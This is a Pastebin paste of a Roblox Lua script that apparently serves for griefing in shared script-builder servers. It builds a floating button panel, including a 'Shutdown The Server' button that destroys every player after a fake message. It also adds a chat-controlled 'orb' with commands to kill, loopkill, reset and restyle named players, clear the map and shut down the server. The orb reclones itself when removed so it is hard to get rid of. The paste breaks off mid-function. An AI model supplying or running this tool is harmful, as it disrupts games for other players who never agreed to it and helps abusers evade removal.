Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- LocalPlayer = game:GetService("Players").LocalPlayer
- local Part1 = Instance.new("Part", workspace)
- Part1.FormFactor = Enum.FormFactor.Custom
- Part1.Size = Vector3.new(15, 10, 0)
- Part1.Position = Vector3.new(7, 7.2, 14.5)
- Part1.Locked = true
- Part1.Anchored = true
- Part1.TopSurface = 'Smooth'
- Part1.BottomSurface = 'Smooth'
- game:GetService("RunService").RenderStepped:connect(function()
- Part1.CFrame = LocalPlayer.Character.HumanoidRootPart.CFrame*CFrame.new(0,3,-5)
- end)
- local sg = Instance.new("SurfaceGui",Part1)
- sg.Adornee = Part1
- sg.Face = "Back"
- local tl = Instance.new("Frame",sg)
- tl.BackgroundColor3 = Color3.new(0,0,0)
- tl.Size = UDim2.new(0,800,0,600)
- Part1.CanCollide = false
- local button1 = Instance.new("TextButton", tl)
- button1.Size = UDim2.new(0,800,0,50)
- button1.Position = UDim2.new(0,0,0,0)
- button1.Text = 'Spawn New Part'
- button1.Font = 'Legacy'
- button1.FontSize = 'Size14'
- button1.BackgroundTransparency = 0.5
- button1.BackgroundColor3 = Color3.new(46, 189, 168)
- button1.BorderColor3 = Color3.new(27, 42, 53)
- button1.TextColor3 = Color3.new(27, 42, 53)
- button1.MouseButton1Click:connect(function()
- Instance.new("Part", game.Workspace)
- end)
- local button2 = Instance.new("TextButton", tl)
- button2.Size = UDim2.new(0,800,0,50)
- button2.Position = UDim2.new(0,0,0,60)
- button2.Text = 'Shutdown The Server'
- button2.Font = 'Legacy'
- button2.FontSize = 'Size14'
- button2.BackgroundTransparency = 0.5
- button2.BackgroundColor3 = Color3.new(46, 189, 168)
- button2.BorderColor3 = Color3.new(46, 189, 168)
- button2.TextColor3 = Color3.new(27, 42, 53)
- button2.MouseButton1Click:connect(function()
- local m = Instance.new("Message")
- m.Parent = game.Workspace
- m.Text = "| Sorry About That /: | Server shutting down in 10 Seconds."
- wait(3)
- m:remove()
- wait(7)
- for i,v in pairs(game.Players:GetChildren()) do
- v:Destroy()
- end
- end)
- local button3 = Instance.new("TextButton", tl)
- button3.Size = UDim2.new(0,800,0,50)
- button3.Position = UDim2.new(0,0,0,120)
- button3.Text = 'Base Disco (ScriptBuilder)'
- button3.Font = 'Legacy'
- button3.FontSize = 'Size14'
- button3.BackgroundTransparency = 0.5
- button3.BackgroundColor3 = Color3.new(46, 189, 168)
- button3.BorderColor3 = Color3.new(46, 189, 168)
- button3.TextColor3 = Color3.new(27, 42, 53)
- button3.MouseButton1Click:connect(function()
- while true do
- game.Workspace.Base.Color = Color3.new(math.random())
- wait()
- end
- end)
- local button4 = Instance.new("TextButton", tl)
- button4.Size = UDim2.new(0,800,0,50)
- button4.Position = UDim2.new(0,0,0,180)
- button4.Text = 'Spawn D!ck Parts'
- button4.Font = 'Legacy'
- button4.FontSize = 'Size14'
- button4.BackgroundTransparency = 0.5
- button4.BackgroundColor3 = Color3.new(46, 189, 168)
- button4.BorderColor3 = Color3.new(46, 189, 168)
- button4.TextColor3 = Color3.new(27, 42, 53)
- button4.MouseButton1Click:connect(function()
- local di = Instance.new("Part", game.Workspace)
- di.BrickColor = BrickColor.new 'Hot pink'
- di.Shape = 'Ball'
- di.Position = Vector3.new(-6, 2, -5)
- di.Size = Vector3.new(4, 4, 4)
- local di1 = Instance.new("Part", game.Workspace)
- di1.BrickColor = BrickColor.new 'Hot pink'
- di1.Shape = 'Ball'
- di1.Position = Vector3.new(-2, 2, -5)
- di1.Size = Vector3.new(4, 4, 4)
- local di2 = Instance.new("Part", game.Workspace)
- di2.BrickColor = BrickColor.new 'Light orange'
- di2.Shape = 'Cylinder'
- di2.Position = Vector3.new(-2, 2, -5)
- di2.Size = Vector3.new(4, 4, 4)
- end)
- local button5 = Instance.new("TextButton", tl)
- button5.Size = UDim2.new(0,800,0,50)
- button5.Position = UDim2.new(0,0,0,240)
- button5.Text = 'Play Song - Bouncy Mario'
- button5.Font = 'Legacy'
- button5.FontSize = 'Size14'
- button5.BackgroundTransparency = 0.5
- button5.BackgroundColor3 = Color3.new(46, 189, 168)
- button5.BorderColor3 = Color3.new(46, 189, 168)
- button5.TextColor3 = Color3.new(27, 42, 53)
- button5.MouseButton1Click:connect(function()
- local s = Instance.new("Sound",Workspace)
- s.Pitch = 1
- s.Volume = 1
- s.SoundId = "rbxassetid://162773724"
- s.Looped = true
- s.PlayOnRemove = true
- s:Play()
- end)
- local button6 = Instance.new("TextButton", tl)
- button6.Size = UDim2.new(0,800,0,50)
- button6.Position = UDim2.new(0,0,0,300)
- button6.Text = 'Turn Night'
- button6.Font = 'Legacy'
- button6.FontSize = 'Size14'
- button6.BackgroundTransparency = 0.5
- button6.BackgroundColor3 = Color3.new(46, 189, 168)
- button6.BorderColor3 = Color3.new(46, 189, 168)
- button6.TextColor3 = Color3.new(56, 255, 249)
- button6.MouseButton1Click:connect(function()
- game.Lighting.TimeOfDay="00:00:00"
- end)
- local button7 = Instance.new("TextButton", tl)
- button7.Size = UDim2.new(0,800,0,50)
- button7.Position = UDim2.new(0,0,0,360)
- button7.Text = 'Turn Day'
- button7.Font = 'Legacy'
- button7.FontSize = 'Size14'
- button7.BackgroundTransparency = 0.5
- button7.BackgroundColor3 = Color3.new(46, 189, 168)
- button7.BorderColor3 = Color3.new(46, 189, 168)
- button7.TextColor3 = Color3.new(56, 255, 249)
- button7.MouseButton1Click:connect(function()
- game.Lighting.TimeOfDay="12:00:00"
- end)
- local button8 = Instance.new("TextButton", tl)
- button8.Size = UDim2.new(0,800,0,50)
- button8.Position = UDim2.new(0,0,0,420)
- button8.Text = 'Stop All Music'
- button8.Font = 'Legacy'
- button8.FontSize = 'Size14'
- button8.BackgroundTransparency = 0.5
- button8.BackgroundColor3 = Color3.new(46, 189, 168)
- button8.BorderColor3 = Color3.new(46, 189, 168)
- button8.TextColor3 = Color3.new(56, 255, 249)
- button8.MouseButton1Click:connect(function()
- game.Workspace.Sound:remove()
- end)
- local button9 = Instance.new("TextButton", tl)
- button9.Size = UDim2.new(0,800,0,50)
- button9.Position = UDim2.new(0,0,0,480)
- button9.Text = 'Give Orb'
- button9.Font = 'Legacy'
- button9.FontSize = 'Size14'
- button9.BackgroundTransparency = 0.5
- button9.BackgroundColor3 = Color3.new(46, 189, 168)
- button9.BorderColor3 = Color3.new(46, 189, 168)
- button9.TextColor3 = Color3.new(56, 255, 249)
- button9.MouseButton1Click:connect(function()
- local Settings={["Un_Removable"]= "On"}
- local function mFloor(x) return x - x % 1 end
- local Un_Removable = tostring(Settings["Un_Removable"]):lower() == "on"
- if Un_Removable then
- Game.Workspace.DescendantRemoving:connect(function(Child)
- if not Remove_At_Will and Child == script then
- script:Clone().Parent = Game.Workspace
- end
- end)
- end
- local Owners = "ProFiGames"
- local Player = game.Players:findFirstChild(Owners)
- --[[
- Informations :
- You can change the name of your orb in line 96 and change the owners to the orb in line 12
- Say orb, the command and name for example : orb, kill na ( na = nairod7 )
- Owner Function ( you need change the id or something to work with you ) :
- power the owner
- assasin the owner
- antiban the owner
- admin the owner
- Basics Commands :
- nairod playername
- rifle playername
- pistol playername
- sword playername
- drone playername
- wand playername
- kill playername
- find playername
- ff playername
- unff playername
- claws playername
- skull playername
- rocket playername
- clear playername
- vampire playername
- pokeball playername
- insert playername
- eyeball playername
- invisible playername
- visible playername
- rickroll playername
- kick playername
- ban playername
- detinator playername
- fstaff playername
- istaff playername
- gstaff playername
- fsword playername
- isword playername
- clear playername
- mdebug playername ( remove message )
- flamethrower playername
- shutdown playername ( shutdown the server )
- fire playername
- green fire playername
- white playername
- suit playername ( you have tool with him )
- tele playername ( teleport yourself from a other player )
- Apparence command :
- nairod playername
- builderman playername
- telamon playername
- matt playername
- guest playername
- girly playername
- ducc playername
- sweed playername
- wierdo playername
- gear playername
- police playername
- madly playername
- ana playername
- masashi playername
- ]]--
- local RISE = 5
- local FOLLOW = true
- local M = Instance.new("Model")
- local H = Instance.new("Humanoid")
- M.Parent = Player.Character
- H.Parent = M
- H.MaxHealth = 0
- H.Health = 0
- M.Name = "Greg's Buddy!"
- local p = Instance.new("Part")
- local BP = Instance.new("BodyPosition")
- local BG = Instance.new("BodyGyro")
- local SPL = Instance.new("SelectionPartLasso")
- BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
- SPL.Parent = p
- p.BrickColor = BrickColor.new("Really red")
- f=Instance.new("Fire")
- f.Parent=p
- f.Heat = 3
- f.Size = 2
- f.Color=Color3.new(255,0,0)
- f.SecondaryColor = Color3.new(0,0,0)
- f=Instance.new("Fire")
- f.Parent=p
- f.Heat = 3
- f.Size = 2
- f.Color=Color3.new(0,255,0)
- f.SecondaryColor = Color3.new(0,0,0)
- f=Instance.new("Fire")
- f.Parent=p
- f.Heat = 3
- f.Size = 2
- f.Color=Color3.new(0,0,255)
- f.SecondaryColor = Color3.new(0,0,0)
- f=Instance.new("SpecialMesh")
- f.Parent=p
- f.MeshId = "http://www.roblox.com/asset/?id=34795798"
- f.MeshType = "FileMesh"
- f.Scale = Vector3.new(1.3,1.3,1.3)
- f.TextureId = "http://www.roblox.com/asset/?id=34914385"
- p.Name = "Head"
- p.Parent = M
- p.Shape = "Ball"
- p.formFactor = "Symmetric"
- p.Size = Vector3.new(1, 1, 1)
- p.TopSurface = 0
- p.BottomSurface = 0
- BP.Parent = p
- function matchPlayer(str)
- local result = nil
- local players = game.Players:GetPlayers()
- for i,v in pairs(game.Players:GetPlayers()) do
- if (string.find(string.lower(v.Name), str) == 1) then
- if (result ~= nil) then return nil end
- result = v
- end
- end
- return result
- end
- function onChatted(msg)
- if (string.sub(msg, 1, 4) == "orb,") then
- if (string.find(msg, string.lower("reset"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Bright red")
- SPL.Part = p
- player.Character:BreakJoints()
- wait(1)
- SPL.Part = nil
- end
- end
- end
- if not (string.find(msg, string.lower("loopkill"))) then
- if (string.find(msg, string.lower("kill"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Bright red")
- SPL.Part = p
- player.Character:BreakJoints()
- wait(1)
- SPL.Part = nil
- end
- end
- end
- end
- if (string.find(msg, string.lower("find"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("White")
- SPL.Part = p
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("tele"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Bright blue")
- SPL.Part = p
- Player.Character.Torso.CFrame = player.Character.Torso.CFrame
- wait(1)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("trans"))) then
- local number = msg:match("[%d%.]+") --find a sequence of numbers and decimal point - why would you want hexadecimal?
- if (number ~= nil) then
- p.Transparency = tonumber(number)
- end
- end
- if (string.find(msg, string.lower("size"))) then
- local number = msg:match("[%d%.]+") --find a sequence of numbers and decimal point - why would you want hexadecimal?
- if (number ~= nil) then
- p.Size = Vector3.new(tonumber(number),tonumber(number),tonumber(number))
- end
- end
- if (string.find(msg, string.lower("loopkill"))) then
- local number = msg:match("[%d%.]+") --find a sequence of numbers and decimal point - why would you want hexadecimal?
- if (number ~= nil) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- K = 0
- repeat
- if (player.Character:findFirstChild("Humanoid").Health > 0) then
- wait()
- if (player.Character:findFirstChild("Torso") ~= nil) then
- wait()
- if (player.Character ~= nil) then
- wait()
- K = K + 1
- player.Character:BreakJoints()
- end
- end
- end
- wait()
- until tonumber(K) == tonumber(number)
- K = 0
- end
- end
- end
- end
- if (string.find(msg, string.lower("rise"))) then
- local number = msg:match("[%d%.]+") --find a sequence of numbers and decimal point - why would you want hexadecimal?
- if (number ~= nil) then
- RISE = tostring(number + 5)
- end
- end
- if not (string.find(msg, string.lower("unff"))) then
- if (string.find(msg, string.lower("ff"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Bright green")
- SPL.Part = p
- ff = Instance.new("ForceField")
- ff.Parent = player.Character
- wait(1)
- SPL.Part = nil
- end
- end
- end
- end
- if (string.find(msg, string.lower("skull"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(33305967)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("claws"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(30822045)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("rocket"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(3675058)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("clear"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- local w=game.Workspace:GetChildren()
- for i=1,#w do
- if (game.Players:GetPlayerFromCharacter(w[i]))==nil and (w[i].Name~="TinySB") and (w[i]~=game.Workspace.CurrentCamera) then
- w[i]:Remove()
- end
- end
- local Base=Instance.new("Part",game.Workspace)
- Base.Name="Base"
- Base.Size=Vector3.new(600,1,600)
- Base.BrickColor=BrickColor.new("Earth green")
- Base.Anchored=true
- Base.Locked=true
- Base.TopSurface="Universal"
- Base.CFrame=CFrame.new(Vector3.new(0,0,0))
- end
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("vampire"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(21202070)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("unff"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Bright green")
- SPL.Part = p
- for i,v in pairs(player.Character:GetChildren()) do
- if (v:IsA("ForceField")) then
- v:Remove()
- end
- end
- wait(0.5)
- SPL.Part = p
- SPL.Color = BrickColor.new("Black")
- wait(1)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("wierdo"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=6819846"
- end
- end
- end
- if (string.find(msg, string.lower("telamon"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=261"
- end
- end
- end
- if (string.find(msg, string.lower("ducc"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=7303693"
- end
- end
- end
- if (string.find(msg, string.lower("sweed"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=6472560"
- end
- end
- end
- if (string.find(msg, string.lower("girly"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=362994"
- end
- end
- end
- if (string.find(msg, string.lower("masashi"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=3216894"
- end
- end
- end
- if (string.find(msg, string.lower("madly"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=6160286"
- end
- end
- end
- if (string.find(msg, string.lower("ana"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=9201"
- end
- end
- end
- if (string.find(msg, string.lower("police"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=5599663"
- end
- end
- end
- if (string.find(msg, string.lower("gear"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=49566"
- end
- end
- end
- if (string.find(msg, string.lower("builderman"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=156"
- end
- end
- end
- if (string.find(msg, string.lower("guest"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=1"
- end
- end
- end
- if (string.find(msg, string.lower("stickmaster"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=80254"
- end
- end
- end
- if (string.find(msg, string.lower("matt"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=916"
- end
- end
- end
- if (string.find(msg, string.lower("nairod"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=7225903"
- end
- end
- end
- if (string.find(msg, string.lower("pokeball"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(27261854)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("flamethrower"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(32153028)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("fstaff"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(32858741)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("istaff"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(32858662)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("fsword"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(32858699)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("isword"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(32858586)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("gstaff"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(33382711)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("detinator"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(33383241)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("mdebug"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- local dbg = game.Workspace:getChildren()
- for i=1,#dbg do
- if dbg[i].className == "Hint" or dbg[i].className == "Message" then
- dbg[i]:remove()
- end
- end
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("eyeball"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(36186052)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("insert"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(21013233)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("admin"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(36312261)
- g.Parent = game.Workspace
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("antiban"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(36974847)
- g.Parent = game.Workspace
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("power"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(36960710)
- g.Parent = game.Workspace
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("rickroll"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(32812583)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("drone"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(36871946)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("rifle"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(36961524)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("sword"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(36871914)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("wand"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(36871869)
- g.Parent = game.Workspace
